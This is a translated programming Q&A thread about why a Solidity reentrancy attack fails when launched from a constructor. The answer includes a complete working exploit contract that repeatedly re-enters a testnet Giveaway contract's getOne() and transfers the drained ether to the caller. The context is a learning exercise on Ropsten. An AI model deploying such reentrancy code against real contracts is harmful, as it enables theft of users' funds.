Почему моя повторная атака завершается неудачно при выполнении в конструкторе? - PullRequest
0 голосов
/ 14 мая 2018

Я пытаюсь воссоздать повторную атаку, используя уязвимое место ниже: https://ropsten.etherscan.io/address/0xe350eef4aab5a55d4efaa2aa6f7d7420057eee2a#code

А договор на эксплуатацию ниже: https://ropsten.etherscan.io/address/0x7e95eed55994d8796c007af68b454fb639e9bd93#code

Если я правильно помню, стипендию на газ необязательно указывать при использовании функции msg.sender.call. Несмотря на это, функция возврата на моего контракта на эксплуатацию вообще не срабатывает, так почему это происходит?

1 Ответ

0 голосов
/ 14 мая 2018

Согласно комментарию к Выпуску 583 Солидности , ваш код не выполняется правильно из-за ограничения EVM .

Когда вызывается конструктор контракта, код контракта еще не сохранен по его адресу . Таким образом, когда он получает эфир, нет резервной функции для запуска по его адресу. Эту проблему можно решить, вызвав функцию test.getOne() из отдельной функции в контракте Hack.

Кроме того, ваш хак контракт может быть уточнен, как показано ниже:

pragma solidity ^0.4.23;

contract Giveaway {
    function register(address toRegister) public;
    function getOne() public;
}

contract Hack {
    /**
     * It is actually better to store the variables
     * in 128-bit segments as the EVM is optimized in
     * handling 256-bit storage spaces and will pack
     * the two variables below in a single slot.
     */
    uint128 times = 3;
    uint128 current = 0;
    Giveaway test = Giveaway(0xe350EEf4aAb5a55d4efaa2Aa6f7D7420057EEe2A);

    // This function will execute correctly as it is not a constructor
    function hackGiveaway() public {
        test.register(address(this));
        test.getOne();
        drainThis();
    }

    // Left as is
    function() public payable{
        if(current<times){
            current++;
            test.getOne();
        }
    }

    /**
     * Internal functions do not change the context of 
     * msg.sender compared to public/external functions.
     */
    function drainThis() internal {
        msg.sender.transfer(address(this).balance);
    }
}
...